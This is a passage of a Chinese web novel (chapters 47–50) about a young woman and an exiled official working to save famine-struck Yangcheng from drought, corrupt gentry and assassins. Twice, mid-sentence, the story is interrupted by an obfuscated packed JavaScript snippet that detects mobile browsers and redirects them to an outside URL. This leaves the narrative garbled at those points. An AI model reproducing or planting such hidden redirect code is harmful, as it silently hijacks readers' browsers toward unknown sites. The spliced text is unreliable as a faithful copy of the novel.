“当年阳城遇大旱，饿殍无数，百姓寻不到草根和树皮，饿得受不住，不惜易子而食。阳城太守见状不妙，当夜便弃城而逃。” 人走的干脆，就连粮食也半分没留。 谢逢华挤出拥挤的人群，逆着人海，大步逃出了破败的太守府。 谢逢华一口气跑回了家。 床榻上，谢母捂着帕子，重重咳嗽着。 “娘！” 谢逢华跨入门槛，忙倒了碗水，递到谢母干裂的唇边。 喂了几口水，谢逢华将那染血的帕子就火烧了。 “娘，我们出城罢。” “娘不走，娘要等你爹回来。”每每提及父亲，谢母总是格外固执。 大旱前期，太守曾派一队人马随使者上京，谢父便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533643|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是其中之一。 可这一去，竟是音讯全无。 彼时使者征召人马时，谢逢华恰好随邻家阿姊上山采药，归来时，家中已然只剩母亲一人。 谢逢华顿觉有异，几番欲出城寻父，却总被母亲拦下，问起便是支支吾吾，总不肯多言。 母亲多病，谢逢华不放心母亲一人在家中，也只得作罢。 “太守逃跑后，阳城大乱，为了寻一袋米面，我趁着夜半无人，偷偷逃出了阳城。” 谢逢华便是在城门口撞上了陈言意的骡车。 夜黑风高，骡车上两道人影低声絮语，随后一人起身，点亮了提灯。 微弱烛火在风中摇摇欲灭，那人用手掌小心护住，随后弯腰在谢逢华面前半跪下来。 “姑娘，冒犯了。” 谢逢华抹去眼角湿润，上下打量他一番，不知哪里来的勇气伸手抓住了那片粗粝的衣角，“你，你撞到我了，赔钱……米面也行……” 那人错愕，旋即起身，从骡车上搜罗一番，再回来时，手中多了一个米袋。 拳头大小，份量不沉。 “抱歉，路上匆忙，实在没剩太多口粮。” 他说得诚恳，一时间，谢逢华竟不知该如何应答。 视线下落，幽幽暖光中，粗粝而狰狞的伤疤纵横分布在骨节分明的手掌间。 谢逢华只瞧了一眼，便快速移开了视线。 “这位娘子，不知城中可还有大夫？” 那人解释道：“我家夫人生育不久，又经一路颠簸，身子不适，想就近找个医馆，有劳姑娘指个路，在下感激不尽。” 大夫倒是有，不过能不能治病…… 谢逢华起身，拍去身上灰土，道：“你随我来。” “在下陈言意，不知恩人芳姓大名？” “谢逢华。”谢逢华顿了顿，分不清是别扭还是害羞，声音蓦然沉了几分，“担不得恩人二字。” 谢逢华并未带他们去医馆，反而停在一座草屋前。 一四十多岁的妇人开了门。 听闻来意，妇人将他们领入屋内。 “这位是杜若夫人。”谢逢华向陈言意介绍着，“夫人精通女子病理，全阳城的女子，十个有八个都要经她的手。” 陈言意惶恐，拜道：“杜夫人，有劳了。” 杜若净了手，闻言打量他一眼，又瞧瞧病榻上裹成蚕蛹的陈夫人，淡淡道：“既是早产，就不该四处奔波，若是稍有不慎，便是与阎王爷抢人。” 陈言意诚惶诚恐：“在下也是逼不得已，不然……” 后面的话，他没能说出口，望向陈夫人的眼睛里，尽是懊悔和痛苦。 “应时，来帮我。” 谢逢华回神，应了声，注意到身旁进退两难的陈言意，好心道：“劳烦您先避一避罢。” 半个时辰后，谢逢华和杜若先后从屋内走出。 陈言意迎上来：“我夫人如何了？” “早产，又染了风寒，虽说暂且保住命，但已伤了根本，恐怕……”触及到陈言意隐隐崩溃的目光，杜若顿了顿，道，“罢了，先留在这里用药将养着，过几日若有好转，我再用旁的法子治根。” 杜若又嘱托几句，便回药房煎药去了。 谢逢华用帕子擦了几下袖上血迹，见实在擦不净，也只得作罢。 陈言意蹲在地上，双目空洞，呆呆望着那扇紧闭的木门。 谢逢华想了想，正要安慰些什么，陈言意忽然抬起手，对着左脸狠狠扇了一巴掌。 一声脆响，谢逢华陡然一惊。 谢逢华拽住他再次抬起的手，“你这是做什么？” “我……” 陈言意嗓音干涩，仿若枯叶划过地面发出的窸窣声： “我后悔了。” 48. 第 48 章 “华京是什么样的地方？” “金玉饰天地，草木亦能生辉。” 谢逢华若有所思：“既然华京遍地生金，那你为什么会来阳城？” 陈言意望着锅中沸腾的米汤，久久无言。 他们这些当官的，来这鸟不拉屎的阳城，多半是仕途不顺。 贬官就罢了，甚至不惜带着大病未愈的夫人一同流离…… 莫非在华京得罪了什么人，因而远走他乡避难？ 谢逢华打量着他破旧的衣衫，一时犹豫。 寻常贬谪尚有起复之日，可若在朝中得罪了某位大人，此时强留下他，只怕是引火上身，得不偿失罢了。 可阳城偏远，能有个外乡人来已是不易，偏偏陈言意还是从华京下来的，谢逢华又能轻易舍得救命的机会。 “大人之后要去哪里？” “黎关，戍边。” “你个文臣戍哪门子边？”谢逢华不解。 陈言意答非所问：“国不从武，自然是文臣赴命。” 谢逢华听出他言里言外的回避，倒也不追问，看着陈言意打了粥，放温，随后端到陈夫人身旁，一勺一勺喂给她。 “夫人，跟着我，让你受苦了。” “能活着就很好了。”姜氏强撑起一抹笑，抬手拾去陈言意眼角的泪水，“多大人了，还这么哭哭啼啼，像什么话。” “夫人说的是。”陈言意胡乱抹了把脸，耳根染上一抹红晕。 二人你侬我侬，黏糊了好一会儿，眼见着二人要贴在一起，谢逢华赶忙出声打断：“现在不可以啊！” 夫妻二人同时一愣，旋即双双红了脸。 陈言意尴尬地将手从被褥下取出，在谢逢华责备的目光中，不好意思地干咳一声：“谢娘子还没走啊……” 谢逢华望了眼窗外，几声哀嚎自院门外传入，隐隐约约，听得并不真实。 “走不了了。” 谢逢华道。 “又是那些难民？”陈言意起身，将门窗关好。 因为陈夫人不便行动，于是这些天陈家夫妇暂居杜夫人家。 但总住在这里也不是办法，陈言意便想着从附近寻借一处房屋，以待日后居住。 “空屋子多的是，但那些住不得人。” 听到陈言意的请求后，谢逢华漫不经心地说，“那些屋子里不是病死的就是饿死的，死了没人收尸，便都堆在一处，任由其分尸腐败。” 经谢逢华之口，陈言意这才知晓了阳城旱灾一事，提及太守弃城，陈言意更是沉默。 “阳城旱灾一事，朝廷并不知晓。”陈言意道，“据我所知，华京根本没有什么使者上京求粮，倒是边关战事不停，朝廷征召兵马……” 后面的话，陈言意没有说出口。 谢逢华的脸色已然苍白如纸，唇抖着，一张一翕吐出几字。 陈言意尚未琢磨出深意，却见谢逢华忽然朝外跑去。 一双双朝她扑来的枯爪，一声声断断续续的呼唤，谢逢华已顾不得什么生死，尽数抛之脑后。 “娘！爹到底去哪里了？”一进门，谢逢华便愤怒质问谢母。 谢母愣了愣，看到谢逢华愤然至极的模样，心下明了，便将剪刀放回竹筐中。 “朝廷要打仗，你爹便随着征兵的去了。” 谢逢华一口气险些没上来，“所以你们都瞒着我？” “你爹说，在战场上立了功，得个官爵，也够我们——” “人都死了要那么多钱做什么！” 谢逢华双眼发涩，这些天积攒在心中的怨气在此刻化作泪水，一股脑地发泄出来。 “一场大旱饿死了半城人，朝廷打仗，还要抓走另一半活人……天降旱祸，将士病饿，朝廷利己，文臣守城……” 谢逢华望向无助的谢母，胸口发紧，几乎喘不上气来。 “娘，我们逃不出去了。” — 谢逢华照常去杜若夫人家中寻药。 “我这里剩的药材也不多了，这是最后的一包药方了。”杜若将药包塞进她手里，“找个时间，带着你娘离开罢。” “我娘不走。”谢逢华顿了顿，扯出一抹强笑，“外面流民凶悍，我们孤女寡母的，能走到哪里去。” “能走。”杜若道，“我已寻人打听过，再过几日，有一贵人入山游玩，前不久自西北回京，算算日子，也快到阳城了。” 谢逢华却有些犹豫：“无缘无故，他怎么可能会带我们走？” “既不带人走，那他便留下来罢。”杜若冷冷道，“横竖都是一个死，倒不如将那些锦衣玉食的狗官们都拉下来陪葬！” 鱼死而网破，百姓的怨恨随着朝廷的漠视而水涨船高。 离舟覆仅一步之遥。 杜若半生行医积善，在阳城也算小有威望，一呼百应，很快就组织了一批人，守在回京的必由之路附近。 谢逢华将一切尽收眼底。虽本能觉得不妥，可看着床榻上奄奄一息的母亲，犹豫片刻，还是将那点同情咽回腹中。 罢了，要怪只能怪那人命不好。 “谢娘子！” 房门蓦然被敲响。 门外，陈言意气喘吁吁，神色焦灼。 谢逢华有所预感，下意识要关门。 她的心虚写在面上，陈言意这时哪还有什么不懂，赶忙将自己塞进门缝中，以阻拦她下一步的动作。 谢逢华怕伤了他，只得松了手，“您别问了，我不会说的。” 陈言意了然：“所以你早就知道他们要去劫车？” 谢逢华张了张口：“他们只是想求条生路，人都快饿死了，您还强求他们讲究仁义礼智信吗？” 陈言意又急又气：“你可知那马车里是什么人？” 谢逢华亦有些窝火，顾不得什么礼教，斥道：“天子圣驾又如何？他们吃穿用度，哪个不是民脂民膏，不过就是绑个贵人要些救命粮，动得了他们几根毛？就算要他们偿命又如何，那都是他们欠阳城百姓的！” 陈言意哪里见过她动怒的模样，一时竟也怀疑起自己的居心。 谢逢华与他吵过，火气消了大半，随之而来的，是无端的惶恐和潮湿的委屈。 “阳城庙小人心窄，容不下您这尊大佛，陈大人还是尽早离开罢。” 说罢，谢逢华按了按酸涩的眼角，转身欲走。 “我不会走的。” 声音自身后传来，信誓旦旦：“今日若能拦住他们，我陈言意以这条命起誓，阳城不过此难关，我誓不归京。” 谢逢华顿足侧目：“我凭什么为了你一句空名得罪半城百姓？” “你不是一直想知道我为什么要来阳城吗？”陈言意坦然道，“因为当朝宰相周惕守正下令追杀我——” “我的人头，价值万金。” 那时谢逢华想，杀了陈言意，用他的脑袋换万两黄金也不失为一种妙计。 可转念一想，那只是万两金，又不是万两米，救不了阳城百姓。 彼时陈言意磨破了嘴皮，才堪堪说服了谢逢华。 谢逢华带着陈言意，抄了条近路，拦下了那辆马车。 山路崎岖，地势陡峻，来往的车辆并不算多，陈言意从华京城中来，最是知晓各品阶官员的马车形制。 正如杜若所说，这贵人所携侍从不多，仅有一书童一马夫而已。 可杜若却不知，这位贵人，是个玩刀 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“世子好意，在下心领了。”陈言意苦笑，“在下德不配位，身居高位而身不由己，有今日境地，不过是早晚的事。” 他们你一言我一语地说着，谢逢华在一旁听得捉急。 拾了块石子，朝着陈言意的后背掷去。 “谁？” 那人比陈言意更为警觉，朝随身的书童递去一个目光，手搭上腰间佩剑，挡在陈言意面前 陈言意预料到什么，拉住了周铭，“世子，前方便是阳城了。” 谢逢华担心暴露，也不管陈言意说了什么，猫腰跑远了。 谢逢华一口气跑回了家。 “去哪里了？”见她气喘吁吁衣衫凌乱的模样，谢母颤巍巍从榻上坐起，担忧地望着她。 谢逢华摇头，忙手忙脚关紧门窗。 “出什么事了？” 谢母追问着，谢逢华却是不肯透露半分。 见状，谢母也只好作罢。 谢逢华自回来便一直躲在家中，直到夜幕降临，院中依旧静谧无声。 谢母已睡下，谢逢华悬着的心便放了下来。 谢逢华悄悄退出屋内，欲在院中透气。 “谢娘子。” 闻声寻去，不知何时，院中多出一道清瘦的白影。 谢逢华站在原地迟迟不动，陈言意叹气，主动上前。 谢逢华搜肠刮肚寻找借口，余光瞥见陈言意停在了距她几步远的地方。 在谢逢华疑惑的目光中，陈言意将手中拎的药包放于身前，道：“这是那位贵人赠的西域药材，据说有滋补功效，兴许对你娘亲的病有效用。” 谢逢华愣了下，话到嘴边又在唇齿间嚼碎了，“陈大人怎么又回来了？” “谢娘子当真想让陈某离开阳城？”陈言意道。 生路放在脚下却不走，反而执着往死路上一意孤行，谢逢华头一次见到比自己还蠢的人。 谢逢华移开目光，视线越过他，落在满院清盈里。 “谢娘子可知那位贵人是谁？” “……知道。” “谢娘子既知那位贵人身份，便应知晓伴君如伴虎的道理。” 陈言意眉眼弯弯，并无半分责备之意，“谢娘子，陈某自入朝堂以来，为人棋子，步步惊心，是为实现帝王之愿。今日留在阳城，不为功名利禄，只为天下苍生太平。” 谢逢华嗤笑：“疯人，满嘴胡言。” 死在阳城就老实了。 谢逢华暗骂，转身欲回房。 陈言意唤道：“谢娘子，其实您不是逃不掉，是不愿逃罢。” 49. 第 49 章 自阳城大患，城中能走能跑的都逃出城避难了，如今留在阳城的，多半都是不愿背井离乡的老弱病残。 其实当初逃难时，谢逢华都已收拾了软钿，找好了马车，以这些年的积蓄，上京寻一处宅子，做些生意，安安稳稳也能度过余生。 偏偏爹娘不愿离开——“我们若走了，你兄长归来，该寻不到家了。” 那日谢逢华与爹娘吵了一架，被爹娘的一句“要走你自己走”气得摔门而出。 谢逢华气急了，走在街上时，竟真的萌生出独自上京的想法。 可她走了，爹娘怎么办？ 她孤家寡人，又该靠什么在富饶的华京生存？ 杜若的出现打消了她的思绪。 “杜夫人，您没走？”谢逢华颇为惊诧。 “东街有两户怀胎妇人，西街有三家重病翁妪，北边还有五家生病的孩童……我走了，他们只能等死。” 杜若说得理所当然。 “旁的大夫呢？”谢逢华问道。 “都跑了。”杜若叹气，拍了拍医箱，“方圆百里，就靠我和邻家的药坊老板续命了。” 谢逢华擦去眼角湿润，道：“我来帮您。” …… 谢逢华便是从那日起决定留在阳城的。 正如今日留在阳城的陈言意和杜若，没有什么深明大义，只是想为阳城的生灵再搏一丝生机。 “官府人去府空，官豪们也不肯开仓放粮。”听了陈言意的建议，杜若一一否了，“陈大人，您能想到的法子，我们也曾尝试过。” 陈言意道：“我去与他们说情。” 谢逢华起身：“我与您一起……” 杜若与陈言意异口同声：“不行！” 于是谢逢华又坐回椅凳上，“那我该做些什么？” 谢逢华涉世不深，对抗灾救民更是一窍不通，因而有些束手无策。 陈言意和杜若年长她一轮，懂得多些，也愿意多教她一些。 俗话说，防患于未然，何况疫病最易产生与死伤之间。 于是这些日子，谢逢华听从陈言意的派遣，跟随杜若走街串巷，尸体运到一处，统一烧毁。 陈言意不知用了什么法子，竟说服了城中几个官豪开仓放粮。 “那些粮食能撑多久？”谢逢华问他。 “大概半月。”陈言意望着火炉中跃动着的火舌，喃喃道，“半月……足够了。” 谢逢华不知其意：“您要做什么？” 陈言意瞥了她一眼：“让你背的书背完了吗？” 真是哪壶不开提哪壶。 谢逢华道：“我背孙子兵法做什么用？” “大夏与梁朝纷战不休，朝廷却无可用之兵，你学了兵法，即使不能上战场杀敌，日后也能做个军师指点江山。” 谢逢华：“……我？” — 五日后。 谢逢华与陈夫人坐在院中闲谈，谈话中意外知晓，原来陈言意与谢怀世是同窗挚友。 “夫人可知我兄长在哪里？” “这……” “夫人！” 消失了一日的陈言意推门而入，兴冲冲道：“夫人，赈灾粮来了！” “赈灾粮？”喜悦之余，谢逢华隐隐生出一种担忧，“朝廷知晓阳城旱灾，是不是也知晓您……” “我托人从奉城借调来的。”陈言意长舒一口气，得意洋洋道，“看来本官在朝中也是有些威望的。” 一点疑虑随着赈灾粮的到来而消散殆尽，忧患解除，谢逢华如释重负，高兴地说要将好消息告知全城百姓。 目送谢逢华离开，姜氏看向陈言意：“你就不怕奉城太守将你卖了？” 陈言意敛了笑，从后抱住了妻子，头枕在她的颈窝间，深深吐出一口浊气。 名为“死亡”的重担沉甸甸压在肩头，并未因阳城的解困而轻松半分。 疲倦上涌，就连眼皮也越发沉重。 “若我的命能为阳城百姓开一条活路，那便随他们去罢。” 在阳城众人的努力下，慢慢的，阳城逐渐恢复了昔日的生机。 可随之而来的，是无数涌入阳城的难民。 “大夏遭逢大旱，多地太守知情不报，甚至强行征兵……”陈言意放下文书，面容肃重，“恐怕事情远比我们想象的要棘手。” “先安置好流民罢。”谢逢华道。 “不成。”陈言意道，“阳城粮食不足，也容不下这么多难民。” 谢逢华一点即通：“您要关城门？” “谢娘子当真聪明。” “可这会不会容易遭人诟病？” “有多大肚子吃多少饭，若我们阳城开了先例，一传十十传百，那些难民全都跑到我们阳城避难，到那时粮食供给不足，却无法止损，岂不是更容易遭人非议？” “您说的是。”谢逢华豁然开朗，“我这就去说与门守。” 不出所料，城门关闭不足半日，城门外难民唉声载道，愤然辱骂阳城太守不作为。 城门内却也不消停。 “陈言意不过是个罪臣，凭什么管我们阳城的事！” “他不管你管吗？”谢逢华睨着叫嚣的人们，“想开城门可以，他们的口粮从你碗里掏。” 那些人不说话了，阴恻恻地盯着她。 事后谢逢华与陈言意提起此事，忍不住拍案骂道：“放下碗就骂娘，真是养了一群白眼狼！” 陈言意反应平平，甚至有种意料之中的坦然：“谢娘子，你见到的那些人，恐怕不是难民。” 谢逢华这才想起来，那几人膘肥体壮，面相阴森凶狠，确实不像…… 一股不好的预感宛若种子破土，疯狂生长，直至占据整个心脏。 “他们是谁？” 陈言意拾起发霉的馒头，撕去表皮，就这么放在嘴里咬了一大口。 谢逢华给他倒了碗水，他也不接，含糊不清地说了句什么。 “他们是来杀你的吗？”谢逢华心下有了几分揣测。 陈言意囫囵咽下吃食，幽幽瞥了她一眼：“说点我爱听的。” 谢逢华重新拾起兵书：“我不说了。” 陈言意干笑两声，视线落向窗外。 冬日的阳光没什么热度，却明亮得近似于白彗，丝丝缕缕如云雾，轻盈环绕在陈言意周围。 明明近在咫尺的人，谢逢华却看不清他的容貌，那股不安也越发的浓烈。 姜氏病愈那天，陈言意提着酒，敲响了谢家的院门。 彼时谢逢华正抱着茅草修补房屋。 陈言意放下酒，着手帮谢家修补了漏雨的房屋，格外关照了谢母的身体，谢母因病睡下后，他又与谢逢华就这么东扯西拉，聊到了夕阳西下。 一壶温酒见底，陈言意吐出一口酒气：“我要走了。” 谢逢华默了片刻，道：“去哪儿？” 陈言意喝多了些，举起空碗，对着残阳自言自语：“圣上让我去哪，我就去哪。” “你倒是个忠心的。”谢逢华笑了笑，续而问道，“什么时候走？” “过两日罢。”陈言意若有所思，“明日东街李寡妇再嫁，邀我去喝喜酒，西街王翁的儿子也回来了，我得去交代一些事……对了，你的婚事似乎还没定下来……” 碗中满是金灿灿的酒色，入口却是苦涩。 “既然走不开，就别走了。”谢逢华道。 陈言意抱着空酒壶，仰头望着天际的残月，眼中蒙了一层薄雾，将旁人半真半假的打趣隔绝在外。 谢逢华默了片刻，道：“我有个兄长，前些年去往华京求学，这一走，便落了个杳无音信。” “若阳城无灾无难，过了生辰，我大抵是要去华京寻兄的。” 陈言意整个人还沉醉在美酒的余韵中，脑子不大清醒，大咧咧地说：“你兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533645|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已成家，兴许只是科考不顺，愧对家中，因而不曾修书报平安。” 谢逢华看了他一眼，道：“成家了？” 陈言意后知后觉说漏了嘴，可话到临头，谢逢华逼得紧，也由不得他遮掩。 陈言意只好将与谢怀世相遇的种种和盘托出。 谢逢华听完倒是没说什么，只是回了房，再出来时，手中拎着一壶冷酒。 “天色尚早，再同我说说话罢。” 那夜他们絮絮叨叨，从家中大小事谈到国家朝廷，上到皇帝下到百姓，萦绕在谢逢华心中久久挥散不去的困惑与徘徊，尽在那一夜有了答案。 谢逢华将醉成烂泥的陈言意交给姜氏，被问及缘由，她也只道是惜别。 将陈言意安置好后，姜氏出了卧房，将一袭夹袄披在谢逢华身上。 谢逢华道了谢，捂着一碗热汤，不经意问道：“怎么突然就要走了？” 姜氏面露难色，下意识看了眼卧房，犹犹豫豫道：“谢娘子，这事儿，夫君不让我同你说。” 谢逢华：“您说您的，事后问起来，就说是我猜的。” 姜氏：“……” 玩笑归玩笑，谢逢华磨了磨嘴皮子，能想到的软话尽数说了，说着说着，自己先动了情，忍不住拾帕抹泪。 姜氏心一软，道：“谢娘子，倒不是我不说，只是这事说了，改不了现状，还徒增烦恼。” 姜氏说，当初陈言意借粮，那些地主一开始便开了高价，欲借机卖粮，陈言意不肯依，他们就说什么都不卖了。 陈言意好话歹话说遍，说不通情，后来不知怎的，那些人竟知晓了陈言意的身份，一个个又上赶着巴结。 事出反常必有妖，陈言意混迹官场，心知表象之后必然有人操弄口舌。 可当下百姓口粮要紧，陈言意便也顾不得什么陷阱圈套，一口应下，解了燃眉之急。 陈言意连诏狱都走过，对生死之事早已看淡，甚至设想过他们可能会半夜潜入房中砍下他的头颅。 陈言意唯独害怕他们会对阳城百姓不利。 “夫君的担忧并非空穴来风。” 姜氏眉心拧成一股，低声道：“一把火将陈家烧的精光，麟儿早夭，护送的官兵刚出城就遇刺身亡，我们一路躲躲藏藏，好不容易躲到阳城……可这才多久，他们就知晓了夫君的身份……” 莫非有人泄密？ 谢逢华想着，正要说什么，忽然听到卧房传来几声细碎的呜咽，其间还夹杂着几声“爹娘兄长”之类梦呓。 “哎呀，这是又梦魇了。” 姜氏惊呼，急匆匆跑进卧房内。 见状，谢逢华也不便再叨扰，悄声离开了。 — 翌日，谢逢华正在家中缝补旧衣，尚想着从哪里再采买些药材，忽闻院外传来几声咒骂。 谢逢华起身，接着窗子的缝隙朝外探去，只见一个衣着华贵的公子攀着篱笆，正鬼鬼祟祟地朝屋内张望。 那人着实丑，好似破布上糊了一层泥巴，贴在了一个凹凸不平的粗木桩上。 谢逢华本意是不愿开门的。 可那人却不依不饶，砰砰砰砸着门，吵得人心烦。 谢逢华耐着性子开了门，走近些，一股酒臭味扑面而来。 原来是个酒蒙子来撒酒疯了。 谢逢华心中暗骂了句晦气，顺手拾起了墙角的锄头。 那人打了个酒嗝，色迷迷地盯着她：“哟，美人……” 谢逢华不耐地拂开他的手，罢了又用力在衣衫上蹭了蹭，“没事赶快滚！” 正要关门，那人却强硬地挤入门缝中，脸上挂着醉醺醺的笑：“美人动怒，倒是更惹人生怜了。” 谢逢华挑眉，立刻抄起了锄头，狠狠朝他砸了过去。 那人踉跄避开，却还是晚了一步，锋利的锄头在大腿处砍出一道血淋淋的豁口。 骤然间，惨叫响彻云霄。 50. 第 50 章 得知谢逢华被崔家绑走的消息，陈言意立刻放下笔墨，一路急行赶到崔宅。 “我要见崔家主！”面对家仆阻拦，陈言意开门见山道。 许是事先得过授意，那些人并未多加阻拦。 老管家领着他径直来到公堂，对着屋内的人告了声辞，便离开了。 公堂之上，自是所谓崔家的掌权人，亦是阳城内盘踞一方的地头蛇之一。 两侧零零落落坐了两三人，瞧着老态龙钟的模样，辈分并不在这位家主之下。 公堂正中，谢逢华腰骨如松，朴素的衣裙无光却整洁，崔氏族人流光溢彩的绸缎在她面前亦黯然失色。 “陈先生。” 谢逢华眼中闪过一瞬惊喜，旋即却像是意识到什么，愧疚地低下了头。 陈言意走到她身边，上上下下将她看了个遍，见她连发丝也不曾凌乱，悬着的心也放回了腹中。 “出什么事了？” 谢逢华尚未来得及开口，崔家主干咳一声，打断了二人的叙话，“陈大人既然来了，那咱们就把话说的明白些。” “虽说我儿酒后失言，但毕竟是谢娘子先动了手。府中大夫说了，我儿这辈子便是个废人了。陈大人，您见多识广，您说说，这事儿该如何安排？” “酒后失言？”谢逢华冷哼，“喝的神志不清还有气力擅闯旁人家调戏女子，一字‘失言’了之。我为保清白正当反击便成了罪过，崔老爷真是好一个‘刚正不阿’。” 崔家主一口气哽在喉间，脸涨成了猪肝色，肥厚的手指着她：“巧舌如簧，毫无半分闺秀模样，简直难登大雅之堂！来人，把这贱人绑了，卖去青楼！” “我看谁敢！” 陈言意将谢逢华护在身后，斥离了一拥而上的家仆，而后看向泰然自若的崔家主，道：“崔老爷，大夏律法有明，因调戏妇女被状告者，无论何种原因，皆杖责三十。” “令郎调戏未出阁女子，甚至擅闯女子家门欲行不轨，无论是否得逞，传出去，旁人也只道是令郎家风不严，赞扬谢娘子高风亮节。崔老爷，这种事本就不光彩，若为一时之气将此事闹大，于崔家而言，似乎并非益事。” 崔家主面上略有迟疑，一盏茶放在唇边吹了又吹，迟迟没有下口的意思。 一旁的大夫人左瞧瞧右看看，附耳与崔家主低声说了几句碎话。 崔家主看向她的眼神越发的冰冷。 谢逢华打了个寒颤，往陈言意的身后躲了躲，企图挡住那道毒蛇般的目光。 “陈大人与谢娘子当真交好。”堂下，一老者幽幽发话，“只是男女有别，还是要注意言行才是。” 谢逢华抿唇，没由得恼火。 陈言意拽住她的衣袖，轻轻摇头，以目光示意她冷静。 谢逢华抿了抿唇，强压下心中不悦，乖乖候在他身后。 安定了谢逢华，陈言意重新将目光放在高堂上的崔家主。 觉察到陈言意的敌意，崔家主稍抬手，崔夫人便噤了声，退到一旁，恶狠狠瞪着谢逢华。 “陈大人。”崔家主干咳一声，“老夫命薄，宗族上下就这一个儿子，如今尚未成婚便成了残废，我崔家的香火断了，总该给我们这些老者一个交代罢。” 这是想强行人留下不成？ 谢逢华蹙眉，纵使心中多有不满，陈言意在先，她亦不敢多加妄言。 陈言意却不慌不忙，道：“崔氏一族世代为商，上至朝廷上供的绸缎，下至百姓用度，凡生财之地，皆有崔氏身影。鄙人不才，曾与周宰相共事，略通财目，至今尤记得，那账上可没少崔氏的名字啊……” “你！” 不知那句话碰了崔老爷逆鳞，原本肥厚的脸骤然扭成一团，眉间似能挤出油来。 谢逢华隐隐惶恐，下意识拽紧陈言意的袖角。 陈言意毫不畏惧地与其平视。 彼时只有谢逢华能瞧见，陈言意衣领间渗出的那一小片水渍。 “陈言意，我若是你，不会选择那个无用的皇帝。” 临走前，崔家主如是说。 陈言意顿足，侧目遥遥望了他一眼。 “或许我错了罢。”陈言意垂眸，望着那双布满老茧的手掌，“但——” “我对得起我这一身官袍。” — 陈言意将谢逢华送到家，安抚了惊魂未定的谢母，而后在院中找到了徘徊不定的谢逢华。 “早些离开阳城罢。” 谢逢华回神，定定看着他，半晌，扯了扯嘴角：“您怕他们报复我？” 陈言意避而不答：“国子监司业与我为同年进士，后来同朝为官，关系不浅。我与他修书一封，让他在华京帮你寻个安身之地，你天资聪颖，又擅女红，虽不保大富大贵，但在华京安度足矣。” 谢逢华绞着衣角，犹豫道：“我娘恋乡，不愿走。” “不愿走也要走。” 陈言意言辞间多了几分可怖的严肃：“谢逢华，今日你我只是侥幸苟活，但此类事情有第一次便有第二次第三次，这一次我勉强能护你，可若我走了，你如何护你母亲周全？” 谢逢华哑口无言。 好半晌，谢逢华轻轻点头：“我……我再劝劝……” 陈言意松了口气，道：“最近阳城隐有暴乱征兆，以防万一，我晚几日再离开阳城。” 谢逢华闷闷应了声。 念在谢逢华方才死里逃生，现下正是惊魂未定时，陈言意也不忍再逼她。 “应时，莫要怪我。只是这趟水浑，你还是莫要涉足为好。” “我知道。”谢逢华吸了吸鼻，却越发觉得眼睛干涩，好似有什么东西隐隐溢出。 谢逢华揉了揉眼，闷声闷气道：“我只是怕连累先生。” “为官，我应当庇佑一方百姓；为师，我有必要教你处世之道，于公于私，都称不上‘连累’。” 谢逢华撇嘴：“我才没认你做师父。” “那你今夜别来找我论道。”陈言意起身朝外走。 颓日磨去他锐利的棱角，直到残阳路上再也寻不见他的身影，谢逢华忍不住嘟哝： “我自己也能想通。” — 看到家门外那匹熟悉的不服管的枣红色烈马，陈言意心中一凛，不禁加快了脚下步伐。 推开门，凄冷的房屋内，赫然多出一道亮眼的身影。 周其卿正与姜氏聊到路上奔波，闻声望来，看清来人，便敛了几分笑意。 余光瞥见他腰间的玉佩，陈言意暗道不妙，面上依旧和善寒暄道：“陈某有失远迎，还望世子莫怪。” 周其卿道：“陈先生折煞晚辈了，晚辈今日前来，也不过是顺路而已。” 华京与阳城相聚百千里，你顺哪门子路？ 陈言意皮笑肉不笑：“倒是辛苦世子了。” 周其卿像是没听出他的弦外之音，摆摆手，道：“这不冬狩将近，舅舅一反常态选在了阳城附近。听闻这里地势险峻，常有野兽出没，母亲派我来探探路，好为年底的冬狩做打算。” 陈言意蹙眉：“如今战事未平，陛下还有心思筹备……世子，那茶凉了，喝不得。” 方才举起的茶盏又落回桌台上，姜氏赶忙端走了茶壶，说要再去烧些好茶。 待屋外听不到姜氏的忙碌声，周其卿默了瞬，从怀中掏出一封盖有官印的信。 “这是我母亲托我转交给您的。” 长公主？ 陈言意核对了官印，将信将疑地拆了信。 阅过信上文字，陈言意下颌微微紧绷，看向周其卿的目光里满是不可置信：“长公主当真有此意？” 周其卿把玩着空茶盏，神态惬意：“母亲所思皆录入信中，如何想，那便是先生的事了。” 显然长公主事先与周其卿打过照面，周其卿知情，却不能多言。 陈言意按捺下内心喜悦，起身将门窗关好。 房内倏然昏暗，陈言意半个身子隐在灰影中，唯有那双眼睛隐隐跃动着希冀的火光。 “起复”二字被他看了又看，一张薄纸因这二字变得分外沉重。 陈言意喃喃絮语，破碎如飘絮，不成字句。 周其卿静静望着他，看着他因信中内容又哭又笑，心口处隐隐抽痛。 那许是一种已知结局却无法言说的怜悯，又似见惯勾心斗角后仍心向善的希冀。 周其卿希望他回到华京，却又不愿他回去。 思虑间，陈言意已收拾了心情，朝周其卿拜了一拜：“世子替我……谢过长公主。” 周其卿颔首：“先生既已考虑好了，事不宜迟，我们现在就——” “我不走。” 起身的动作一滞，周其卿不可置信地看向他：“您说什么？” 陈言意上前一步，踏出了灰影之中：“我说，我不会再回华京。” 周其卿面色难看：“陈大人，踏出这城门，想再回华京可就是难如登天。” “下官知道。” “长公主命你官复原职，为寿安公主洗冤，亦是你洗脱罪名的最佳机会。” “下官知道。” 